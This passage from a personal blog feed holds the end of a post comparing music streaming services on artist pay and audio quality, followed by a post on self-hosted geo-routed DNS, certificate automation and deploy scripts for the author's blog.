<p>Apple Music and Tidal both pay significantly more than Spotify (0.8 and 1 cent(s) per stream respectively) and from my experience, are honestly better services.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> For transparency, I wasn't aware of all the bullshit Spotify was doing until 2020, but I wasn't planning on going back so it never affected any decisions on what service to use.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I understand my knowledge on Spotify may be outdated since the last time I used it was 2019, so I spent a day before writing this using Spotify again so I could see if anything changed. There wasn't really anything new (on the music side). Reading peoples thoughts on the Internet also confirms this.</span></aside>
<p>Out of the three I consider Apple Music the best. The only reason I keep a Tidal subscription is because they pay more as well as something else related to that thing about Qobuz I'm going to get to later.</p>
<p>The most obvious advantage of the two is the fact that they offer lossless audio quality. This means the audio better preserves the original quality of a recording. Unlike lossy formats, which compress audio by removing certain details to reduce file size, lossless audio retains every bit of the original data. This results in higher sound quality, with more depth, clarity, and a broader dynamic range.</p>
<p>If you've never heard good lossless audio quality, you probably won't notice anything different at first, but stick with it for a while and it will be very noticeable if try you go back to lossy audio (if you're a gamer, it is a bit like going from 60 FPS to 144 FPS). You may also need decent audio gear if you want to get the most of it, but AirPod Pros or their Samsung equivalent are good enough I believe.</p>
<p>Spotify has been planning on offering a lossless tier, it's been <a href="https://www.whathifi.com/features/an-excruciating-timeline-of-our-six-year-wait-for-spotify-hifi">delayed for over two years</a> with no release date in sight and will most likely be only for a higher tier of subscriptions, whereas Apple Music and Tidal offer lossless on their standard tiers.</p>
<p>Most people seem to like Spotify for music discovery by using recommendation algorithms like "Discover Weekly."</p>
<p>I can't speak for how you'd find the recommendation algorithms of Apple Music or Tidal, since they're supposed to be tailored for each individual. But I've seen many people on the Internet vouch for each service. Anecdotally from what I've seen with people who have used all three, Spotify and Tidal and generally the best, with a bias towards Spotify.</p>
<p>Personally, recommendations never worked all that well for me on any service. I have <em>strange</em> listening habits, and the music I listen to most isn't the music I like the most or even want more of. This pretty much always fucks over any machine learning algorithm as the music I want to discover, aren't anything like the ones it thinks I listen to.</p>
<p>Most of my new discoveries come from word of mouth, or by going into the artists page and clicking on other related artists. The "clicking around" experience is pretty much the same on every service.</p>
<p>However, that isn't to say machine learning has been completely useless. Earlier this year Apple Music introduced "Discovery Station" which is just an infinite radio of recommendations. For each song that comes up you can favourite it or tell it to "suggest less" which is a nice and easy way of tuning the algorithm. After about a week of telling it to "suggest less" whenever stuff like <a href="https://youtu.be/dkYHgxfQZBA">this</a> came up, it actually became pretty good for new music as well as just being good a background radio while I do work.</p>
<p>Spotify also seems to have something like this with an "AI DJ." I didn't get anything out of it, but I'm sure that's just because I tried it on a new account without a large listening history.</p>
<p>All services also have a way to create a radio mix from a song/album/artist to find similar music. And they're all <em>okay</em>. Tidal was probably best at it.</p>
<p>In my opinion, computer generated recommendations are better served by a service that specialises in it. I've just started using <a href="https://last.fm">last.fm</a> two months ago and have already gotten more discoveries from that than my entire Tidal subscription, but that may be because I've only recently started to lessen the amount of J-core in my music diet. Here's <a href="https://www.last.fm/user/notbeanpuppy">my page</a> if you were curious.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Please ignore the amount Fr*nch 🤮 music I listen to.</span></aside>
<p>In terms of music availability, it's Spotify tied with Apple Music for the biggest catalogue. Tidal has a few gaps with niche and non-western artists. This more or less just correlates with how popular the service is, so the obvious solution here is to be the change you want in the world :)</p>
<p>Somewhat related, my favourite feature of Apple Music is actually how it allows you to upload your own music to your library. I buy music from Bandcamp (for those unknown indie bands not on any service), so it's great to just upload them to Apple Music and have a single place to listen from.</p>
<p>Spotify also lets you use local files, but it's ahh… how do I put this… <strong>complete ass</strong> and was originally THE reason I switched. Not only does it barely function most of the time, you can only listen to your files on the device they're originally on; It isn't uploaded to your library like it is with Apple Music,<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> making it completely useless.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>BTW, you don't need an Apple device to use Apple Music, I used it on Windows all the time and it worked fine. There's also an Android app, but I don't have an Android phone so I can't attest to it's quality. The web version is decent too.</span></aside>
<p>If you have huge playlists and are worried about the time sink moving them to a new platform, you can use a service like <a href="https://soundiiz.com/">Soundiiz</a> to transfer them. I used it for both migrations into Apple Music and Tidal without any issue. The free plan is capped at 200 songs per playlist, but you can just subscribe at €4.50 for one month and just cancel it immediately (you'll still get the entire month, so do it immediately and you won't have a chance of forgetting to cancel).</p>
<p>Spotify also seems to branched into other non-music related industries like podcasts and audiobooks. Obviously neither Apple Music or Tidal do that,<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> so if any of those are what's keeping you on Spotify… fine, I guess.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>I guess there's Apple Podcasts and Apple Books, but they aren't Apple Music so they don't count.</span></aside>
<p>I'd stay away from keeping all your eggs in one basket though. You'll get burnt when your overlords start wanting to make omelettes.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span></p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>Fuck this is an awful metaphor. I love it.</span></aside>
<hr />
<p>I want to experience good art. Artists need money to stay alive. I pay for art so artists can stay alive and make good art.</p>
<p>The issue is, moving to a different service won't solve the fundamental injustice of the streaming economy. It just not reasonable to expect unrestricted access to the entire history of recorded music for $10 a month and have it be sustainable.</p>
<p>So really: You Should Stop Using Music Streaming Services.</p>
<p>Yes, Apple Music and Tidal pay better than Spotify, a lot better - but it's still not all that good. Paying more is mostly just a marketing shtick more than an actual desire to pay fairly. They are companies after all, paying artists by it's very nature means they get less profits, why would they want that?</p>
<p>I don't normally like telling people what they should spend their money on, mostly because I know I have a position of extreme privilege. I'm in the top 1% of incomes for my age bracket, and the top 5% for everyone in Australia. I don't really ever have to worry about money<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span> (if that isn't obvious already from all the <a href="/post/hsr_gacha">dumb shit</a> I spend my money on), and the only time I've ever had to tighten my budget for a few months was because I dropped all my savings into a deposit for my apartment.</p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>In fairness, this is why I'm so insistent on paying people fairly for their work. Everyone should have what I have.</span></aside>
<p>And yet here I am, a 1%er,<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> about to tell you that you should stop using the, frankly incredible (and unreasonable) value streaming services give you, and instead go back to buying albums individually for $5-20.</p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>I only like to use that statistic because I can technically say this.</span></aside>
<p>So, I won't say that.</p>
<p>Instead; You should go back to piracy.</p>
<p>Haha jk… or am I? ;)</p>
<p>No but seriously, just get off Spotify.</p>
<h1 id="epilogue">epilogue</h1>
<p>If you want to know more, the unsustainability of music streaming is pretty well documented. While mainly focused on Spotify, here's a good <a href="https://www.youtube.com/watch?v=gDfNRWsMRsU">video by Benn Jordan</a> that goes through most of it.</p>
<p>This <a href="https://www.youtube.com/watch?v=IZG0ksaO6w8">video from Some More News</a> is also good for more Spotify hate fuel.</p>
<p>Anyway, I've kind of forgotten to talk about what the deal with Qobuz was, so here it is.</p>
<p>Qobuz<span class="footnote-link" id="footnote-8"><sup>(8)</sup></span> is an interesting because <del>it's Fr*nch 🤮</del> it's both a streaming service and music store, where it's entire catalogue of music can be streamed or bought DRM free to download. This is cool, and aside from other, even smaller services like <a href="https://resonate.coop/">Resonate,</a> it seems to me like the most sustainable way of doing streaming.</p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>FYI, it's pronounced /ˈkoʊˌbʌz/ (koh-buzz) in English at least. I don't care how the Fr*nch 🤮 say it.</span></aside>
<p>Now, you might be thinking, "isn't this just iTunes all over again?"</p>
<p>Yeah I guess so. I'm pretty sure music you buy in iTunes can be streamed from Apple Music too, but you don't get to download them DRM free.</p>
<p>I didn't talk about it in the comparison because Qobuz's catalogue isn't very big, so I wouldn't recommend it for most people. But it seems to have improved a lot over the last few years, and from my experience is much more expansive than what reviews from the past few years have said.</p>
<p>Another reason is because I've never used Qobuz's app to stream music before, so if it's complete garbage, I wouldn't know.</p>
<p>Basically, there's this thing called <a href="https://roon.app/en/">Roon</a> which is software for music playback and library management. You know how I said bringing my own music from stores like Bandcamp was my favourite feature with Apple Music? This is that but like a hundred times better.</p>
<p>Roon has seamless integration with Tidal and Qobuz, as in you can stream Tidal and Qobuz through the Roon UI. So I essentially have a hybrid library of streaming and owned music. And I use the streaming integration to play new music I get recommended from Roon, last.fm, etc, and if I like it enough, I'll eventually try to find a place to buy it (most likely Qobuz) and move into the owned music collection.</p>
<p>I think this is about as good as a compromise as I can get. And it works very well for me, but other people would likely take issue with how Roon needs server to host it on, and requires yet another subscription, meaning I'm literally paying for three subscriptions<span class="footnote-link" id="footnote-9"><sup>(9)</sup></span> to access music.</p>
<aside class="footnote-body" id="footnote-9-body"><sup>(9)</sup><span>I'm still evaluating whether or not I need Tidal since Qobuz is still new to me. It will probably get dropped at some point.</span></aside>
<p>I wouldn't blame anyone for not wanting to go this far.</p>
<p>You're probably fine with just using Apple Music and hoping the music economy doesn't completely collapse.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[The Beauty And Art Of Bash Script Infrastructure]]></title>
        <id>https://justin.duch.me/post/bash_script_infra</id>
        <link href="https://justin.duch.me/post/bash_script_infra"/>
        <updated>2023-09-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>10 years ago, a 13 year old Justin decided on a whim to wipe Windows from their laptop and try out Linux because they thought it would give them street cred on the Internet. Several hours and many retires later, Arch Linux was installed and a love for running Linux commands was developed.</p>
<p>6 years ago, a 17 year old Justin started their first job developing CRM software for mortgage brokers. They had a grand ol' time writing Python code and doing Linux server administration. Deploying to prod was two commands: <code class="prettyprint">git pull</code> and <code class="prettyprint">apachectl -k restart</code>. Life was good.</p>
<p>3 months ago, a 23 year old Justin needed to work with AWS to setup some new infrastructure for their current job. Weeks of writing CloudFormation templates, reading garbage documentation, and watching builds fail later, they started longing for the simpler times.</p>
<hr />
<p>So I was recently on holiday in Paris.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> While I was there I decided to check this blog to make sure the <a href="/post/black_to_green">"low intensity view"</a> worked. It did thankfully, but something else felt strange…</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Unrelated to the AWS job, but was good timing nonetheless.</span></aside>
<p>It loaded way too fast.</p>
<p>You see, this blog is hosted on a single VPS in Helsinki, Finland. That is almost half-way across the world from Sydney, Australia, where I normally view it.</p>
<p>I'm used to my blog taking around a second to load. Instead, this was almost instant. And on a <strong>10 MB/s</strong> Internet connection!</p>
<p>Previously, I had just kinda accepted that "around a second" was how long it should take this site to load. But now that I've seen the light… yeah, this is unacceptable.</p>
<p>I should probably be running this site on a CDN, like Cloudflare or something. But since AWS gave me a pretty strong desire to go back to Linux server administration, and I generally wouldn't feel good about contributing to the increasing centralisation of the Internet, anything on the "cloud" is off-limits. Fuck the cloud. All my homies hate the cloud.</p>
<p>So once I got back home, I redeployed this blog on my own infrastructure with nodes in 3 different countries for low latency, high availability, geo-location routing.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> All duck-taped together by a series of Bash, Python, and Rust programs. Et mon dieu, did I had the time of my life, was probably more fun than my holiday actually.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>These are all buzzwords I know.</span></aside>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>And no wonder, the holiday was full of Fr*nch people 🤮 and going outside - the two things in life I hate the most.</span></aside>
<p>Let's talk about geo-location routing. I have three servers all in different regions (Oceania, Europe, North America). If an Australian goes to <code class="prettyprint">justin.duch.me</code>, I want them to be directed to the Oceania server. If a German goes to <code class="prettyprint">justin.duch.me</code>, I want them to go to the European server, and so on.</p>
<p>The simplest way I've found to do this is how Wikipedia does it. They run a DNS server that changes the <code class="prettyprint">A</code> record depending on the geo-location of your IP. I looked into <a href="https://www.powerdns.com/">PowerDNS</a>, the DNS server software they use, but it seemed too complicated and confusing for this use-case. I also suffer from extreme <a href="https://en.wikipedia.org/wiki/Not_invented_here">"not invented here"</a> syndrome, meaning I'd rather not use something I didn't make.</p>
<p>So I wrote my own DNS server.</p>
<p>In Rust of course.</p>
<p>This is <a href="https://github.com/halcyonnouveau/racine">racine,</a> it uses <a href="https://dev.maxmind.com/geoip/geolite2-free-geolocation-data">GeoLite2</a> from MaxMind for geo-ip lookup<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> and <a href="https://github.com/bluejekyll/trust-dns">trust-dns</a> for the actual DNS parts. Because there's no way I was going to actually write a DNS server from scratch, are you kidding me? I wrote this in like a day.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>You might be wondering why I didn't use this for the aforementioned "low intensity view". That's because I couldn't figure out how to bundle npm modules to work with njs.</span></aside>
<p> <code class="prettyprint">racine</code> takes a yaml config (because I don't like zone files) with your DNS records. You can give each record an optional <code class="prettyprint">geo</code> argument that is used for geolocation to change the value based on <code class="prettyprint">continent</code> or <code class="prettyprint">country</code>.</p>
<p>Here's what my config looks like.</p>
<pre class="prettyprint linenums"><code class="yaml language-yaml"><span class="hljs-attr">records:</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">blog.waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">A</span>
  <span class="hljs-attr">value:</span> <span class="hljs-number">95.216</span><span class="hljs-number">.184</span><span class="hljs-number">.160</span>
  <span class="hljs-attr">geo:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">OC</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">207.148</span><span class="hljs-number">.80</span><span class="hljs-number">.96</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">AS</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">207.148</span><span class="hljs-number">.80</span><span class="hljs-number">.96</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">NA</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">144.202</span><span class="hljs-number">.92</span><span class="hljs-number">.225</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">SA</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">144.202</span><span class="hljs-number">.92</span><span class="hljs-number">.225</span>

<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">blog.waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">AAAA</span>
  <span class="hljs-attr">value:</span> <span class="hljs-string">2a01:4f9:c010:9a7d::1</span>
  <span class="hljs-attr">geo:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">OC</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">2001</span><span class="hljs-string">:19f0:5801:11a4:5400:4ff:fe8a:af3b</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">AS</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">2001</span><span class="hljs-string">:19f0:5801:11a4:5400:4ff:fe8a:af3b</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">NA</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">2001</span><span class="hljs-string">:19f0:8001:890:5400:4ff:fe8a:ebe1</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">continent:</span> <span class="hljs-string">SA</span>
    <span class="hljs-attr">value:</span> <span class="hljs-number">2001</span><span class="hljs-string">:19f0:8001:890:5400:4ff:fe8a:ebe1</span>

<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">kafka.ns.waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">A</span>
  <span class="hljs-attr">value:</span> <span class="hljs-number">95.216</span><span class="hljs-number">.184</span><span class="hljs-number">.160</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">kafka.ns.waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">AAAA</span>
  <span class="hljs-attr">value:</span> <span class="hljs-string">2a01:4f9:c010:9a7d::1</span>

<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">himeko.ns.waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">A</span>
  <span class="hljs-attr">value:</span> <span class="hljs-number">207.148</span><span class="hljs-number">.80</span><span class="hljs-number">.96</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">himeko.ns.waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">AAAA</span>
  <span class="hljs-attr">value:</span> <span class="hljs-number">2001</span><span class="hljs-string">:19f0:5801:11a4:5400:4ff:fe8a:af3b</span>

<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">seele.ns.waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">A</span>
  <span class="hljs-attr">value:</span> <span class="hljs-number">144.202</span><span class="hljs-number">.92</span><span class="hljs-number">.225</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">seele.ns.waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">AAAA</span>
  <span class="hljs-attr">value:</span> <span class="hljs-number">2001</span><span class="hljs-string">:19f0:8001:890:5400:4ff:fe8a:ebe1</span>

<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">SOA</span>
  <span class="hljs-attr">value:</span> <span class="hljs-string">kafka.ns.waifu.church</span> <span class="hljs-string">justin.duch.me</span> <span class="hljs-number">2023081700</span> <span class="hljs-number">86400</span> <span class="hljs-number">10800</span> <span class="hljs-number">3600000</span> <span class="hljs-number">3600</span>

<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">status.waifu.church</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">CNAME</span>
  <span class="hljs-attr">value:</span> <span class="hljs-string">status-waifu-church.fly.dev.</span>
</code></pre>
<p>Yep that's right, my DNS name servers are on the same server as each deployment of this blog. This is because I didn't want to buy more servers, but it's probably fine since the name servers are literally only used for the blog.</p>
<p>You might also notice the blog is under <code class="prettyprint">blog.waifu.church</code> instead of <code class="prettyprint">justin.duch.me</code>, and that's because I didn't want to set these as the name servers for the root domain <code class="prettyprint">duch.me</code>. I use other things with <code class="prettyprint">duch.me</code> (like email and <code class="prettyprint">MX</code> records), and I don't want something as important as that to be managed under a program I wrote in a day. Instead <code class="prettyprint">justin.duch.me</code> has been set as a CNAME to <code class="prettyprint">blog.waifu.church</code>.</p>
<p>Also, IPv6 support! Didn't have that before, so it's cool to have now.</p>
<p>This config needs to be in sync with all three servers, but because I'm lazy (as any good programmer is) I just <code class="prettyprint">rsync</code> the config from my main server <code class="prettyprint">kafka.ns.waifu.church</code> to the rest. I've setup <a href="https://wiki.archlinux.org/title/Incron">incron</a> on each follower server to restart <code class="prettyprint">racine</code> once it detects a change to the config or the GeoLite2 database.</p>
<p>Next is looking at SSL support. I get my certificates from Let's Encrypt, which by default validates that you own the domain by giving you a token, where that token is then put in a file on your web server at <code class="prettyprint">/.well-known/acme-challenge/&lt;TOKEN&gt;</code> under your domain. Let's Encrypt then tries retrieving it, and if successful, issues you a certificate.</p>
<p>The problem with this is that I don't know what server Let's Encrypt is going to go to in order to retrieve the token. While I'm pretty sure they'd go to the NA server, they don't provide a list of IPs they use for me to be completely certain.</p>
<p>One solution is to use a DNS challenge instead. For this, you validate the domain name by putting a specific value in a TXT record under that domain name. All of my servers are literally a DNS server, and I've already setup config propagation to each follower server, so this shouldn't be an issue.</p>
<p><a href="https://github.com/dehydrated-io/dehydrated">Dehydrated,</a> the ACME client I use ( <code class="prettyprint">certbot</code> is bloat), makes this easy to do automatically by using a hook like the Python script below.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> io
<span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> time

<span class="hljs-keyword">from</span> ruamel <span class="hljs-keyword">import</span> yaml

ttl = <span class="hljs-number">600</span>

argc = <span class="hljs-built_in">len</span>(sys.argv)

<span class="hljs-keyword">if</span> argc &lt; <span class="hljs-number">5</span>:
    sys.exit(<span class="hljs-number">0</span>)

handler = sys.argv[<span class="hljs-number">1</span>]
domain = sys.argv[<span class="hljs-number">2</span>]
challenge = sys.argv[<span class="hljs-number">4</span>]
acme = <span class="hljs-string">&quot;_acme-challenge.&quot;</span> + domain

<span class="hljs-keyword">if</span> handler == <span class="hljs-string">&#x27;deploy_cert&#x27;</span>:
    subprocess.run([<span class="hljs-string">&quot;rsync&quot;</span>, <span class="hljs-string">&quot;-rL&quot;</span>, <span class="hljs-string">&quot;--delete&quot;</span>, <span class="hljs-string">f&quot;/etc/dehydrated/certs/<span class="hljs-subst">{domain}</span>&quot;</span>, <span class="hljs-string">&quot;&lt;user&gt;@207.148.80.96:/etc/dehydrated/certs/&quot;</span>])
    subprocess.run([<span class="hljs-string">&quot;rsync&quot;</span>, <span class="hljs-string">&quot;-rL&quot;</span>, <span class="hljs-string">&quot;--delete&quot;</span>, <span class="hljs-string">f&quot;/etc/dehydrated/certs/<span class="hljs-subst">{domain}</span>&quot;</span>, <span class="hljs-string">&quot;&lt;user&gt;@144.202.92.225:/etc/dehydrated/certs/&quot;</span>])
    subprocess.run([<span class="hljs-string">&quot;systemctl&quot;</span>, <span class="hljs-string">&quot;restart&quot;</span>, <span class="hljs-string">&quot;nginx&quot;</span>])
    sys.exit(<span class="hljs-number">0</span>)

<span class="hljs-keyword">if</span> handler != <span class="hljs-string">&#x27;deploy_challenge&#x27;</span> <span class="hljs-keyword">and</span> handler != <span class="hljs-string">&#x27;clean_challenge&#x27;</span>:
    sys.exit(<span class="hljs-number">0</span>)

<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;/etc/racine/zone.yml&#x27;</span>) <span class="hljs-keyword">as</span> f:
    data = yaml.safe_load(f)

exist = <span class="hljs-built_in">next</span>((record <span class="hljs-keyword">for</span> record <span class="hljs-keyword">in</span> data[<span class="hljs-string">&quot;records&quot;</span>] <span class="hljs-keyword">if</span> record[<span class="hljs-string">&quot;type&quot;</span>] == <span class="hljs-string">&quot;TXT&quot;</span> <span class="hljs-keyword">and</span> record[<span class="hljs-string">&quot;name&quot;</span>] == acme), <span class="hljs-literal">None</span>)

<span class="hljs-keyword">if</span> handler == <span class="hljs-string">&#x27;deploy_challenge&#x27;</span>:
    <span class="hljs-keyword">if</span> exist:
        exist[<span class="hljs-string">&quot;value&quot;</span>] = challenge
    <span class="hljs-keyword">else</span>:
        data[<span class="hljs-string">&quot;records&quot;</span>].append({<span class="hljs-string">&quot;type&quot;</span>: <span class="hljs-string">&quot;TXT&quot;</span>, <span class="hljs-string">&quot;name&quot;</span>: acme, <span class="hljs-string">&quot;value&quot;</span>: challenge, <span class="hljs-string">&quot;ttl&quot;</span>: ttl})
<span class="hljs-keyword">elif</span> handler == <span class="hljs-string">&#x27;clean_challenge&#x27;</span>:
    data[<span class="hljs-string">&quot;records&quot;</span>].remove(exist)
<span class="hljs-keyword">else</span>:
    sys.exit(<span class="hljs-number">0</span>)

<span class="hljs-keyword">with</span> io.<span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;/etc/racine/zone.yml&#x27;</span>, <span class="hljs-string">&#x27;w&#x27;</span>, encoding=<span class="hljs-string">&#x27;utf8&#x27;</span>) <span class="hljs-keyword">as</span> outfile:
    yaml.dump(data, outfile, default_flow_style=<span class="hljs-literal">False</span>, allow_unicode=<span class="hljs-literal">True</span>)

subprocess.run([<span class="hljs-string">&quot;systemctl&quot;</span>, <span class="hljs-string">&quot;restart&quot;</span>, <span class="hljs-string">&quot;racine.ser.service&quot;</span>])
subprocess.run([<span class="hljs-string">&quot;rsync&quot;</span>, <span class="hljs-string">&quot;-r&quot;</span>, <span class="hljs-string">&quot;/etc/racine&quot;</span>, <span class="hljs-string">&quot;&lt;user&gt;@207.148.80.96:/etc/&quot;</span>])
subprocess.run([<span class="hljs-string">&quot;rsync&quot;</span>, <span class="hljs-string">&quot;-r&quot;</span>, <span class="hljs-string">&quot;/etc/racine&quot;</span>, <span class="hljs-string">&quot;&lt;user&gt;@144.202.92.225:/etc/&quot;</span>])

<span class="hljs-keyword">if</span> handler == <span class="hljs-string">&#x27;deploy_challenge&#x27;</span>:
    time.sleep(<span class="hljs-number">10</span>)

sys.exit(<span class="hljs-number">0</span>)
</code></pre>
<p>This script propagates the <code class="prettyprint">racine</code> config during the "deploy_challenge" phase and also propagates the issued certificate to each server in the "deploy_cert" phase.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span></p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>Maybe you're getting a bit annoyed at me at this point, but I don't see any reason to redact my IP addresses from this post. I mean, they're all one "dig" away anyway.</span></aside>
<p> <code class="prettyprint">racine</code> doesn't (and probably never will, as long as what I'm about to introduce keeps working) have <a href="https://en.wikipedia.org/wiki/DNS_over_TLS">DNS-over-TLS</a> support, so we have to use <a href="https://www.stunnel.org/">stunnel</a> instead, which is "a proxy designed to add TLS encryption to existing clients and servers without any changes in the programs' code."</p>
<p>So for that, I had to use <code class="prettyprint">dehydrated</code> once again to create SSL certificates for each name server (I can use the standard HTTP challenge now, since the domain name for each name server always goes to the same place) and create a <code class="prettyprint">stunnel</code> config as such.</p>
<pre class="prettyprint linenums"><code class="toml language-toml"><span class="hljs-section">[dns]</span>
<span class="hljs-attr">accept</span> = <span class="hljs-number">853</span>
<span class="hljs-attr">connect</span> = <span class="hljs-number">0.0</span>.<span class="hljs-number">0.0</span>:<span class="hljs-number">53</span>
<span class="hljs-attr">cert</span> = /etc/dehydrated/certs/kafka.ns.waifu.church/fullchain.pem
<span class="hljs-attr">key</span> = /etc/dehydrated/certs/kafka.ns.waifu.church/privkey.pem
</code></pre>
<p>There's actually a few other little bash scripts I also use for tiny things like updating the GeoLite2 DB, and propagating nginx configs, but this is basically all that's there to it.</p>
<p>I guess we can also talk about deploying new versions of this blog. Here's my "CI/CD" script.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">from</span> fabric <span class="hljs-keyword">import</span> task

<span class="hljs-meta">@task</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">update_system</span>(<span class="hljs-params">c</span>):
    c.run(<span class="hljs-string">&#x27;apt update&#x27;</span>)
    c.run(<span class="hljs-string">&#x27;apt upgrade -y&#x27;</span>)

<span class="hljs-meta">@task</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">update_blog</span>(<span class="hljs-params">c</span>):
    c.run(<span class="hljs-string">&#x27;cd /opt/justin.duch.me &amp;&amp; git pull&#x27;</span>)
    c.run(<span class="hljs-string">&#x27;cd /opt/justin.duch.me &amp;&amp; make rebuild&#x27;</span>)
</code></pre>
<p>Yup, that's it. It uses the <a href="https://www.fabfile.org/">Fabric</a> Python library which is designed to execute commands over SSH. Thankfully, I already had a <code class="prettyprint">Makefile</code> so I didn't need to write more stuff for deployment.</p>
<p>I run this command manually when I want to serve a new version (I don't want the site updated on every push).</p>
<pre class="prettyprint linenums"><code class="bash language-bash">fab -H &lt;servers&gt; update-blog
</code></pre>
<p>One last issue I had to deal with is the fact that I won't know what's going on with my blog in other regions since I'll always get the Oceania server.</p>
<p>For this, I quickly made <a href="https://status.waifu.church">status.waifu.church</a> which is just a page detailing the status of each name and web server. It's also written in Rust, pure Rust with <a href="https://maud.lambda.xyz/">maud.</a> It's pretty bare bones right now, but I'll add more detail to the page at a later date.<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span> Eventually… probably.</p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>Maybe I'll add htmx for some interactivity or something.</span></aside>
<p><img src="/img/bash_infra1.png" alt="image" /></p>
<p>I've deployed it to <a href="https://fly.io/">Fly.io</a><span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> (because you shouldn't keep your monitoring tools on the same infrastructure as the thing you're monitoring, and also because they have a free tier and I really didn't want to spend more money on servers), where <code class="prettyprint">status.waifu.church</code> is a CNAME to the fly domain (many head pats for you if you spotted this in the <code class="prettyprint">racine</code> config from earlier).</p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>I can give them a pass on the "cloud" because they're a small company (when compared to the usual "cloud" we talk about).</span></aside>
<p>Alright, that's about all there is to it. I don't know why, but this kinda sloppy, simple yet still overcomplicated, hanging on by a thread, infrastructure for a single dumb blog makes me feel "good" inside.</p>
<p>I like this.</p>
<p>I think this is what gardeners and house plant owners feel when they grow their plant things.<span class="footnote-link" id="footnote-8"><sup>(8)</sup></span> The sense of accomplishment and pride from nurturing something, and the calming routine of its' ongoing maintenance.</p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>Of course, since I've been surrounded by computers my entire life, I don't know what plants are.</span></aside>
<p>In terms of hours spent on non-work related, personal projects, this blog tops everything else by a wide margin. That's mainly due to the 4 (or 5? I lost count) rewrites of its' source code, so it was a good experience to finally take a step back and look at what that source code ran on.</p>
<p>Now then, what have we learnt?</p>
<ol>
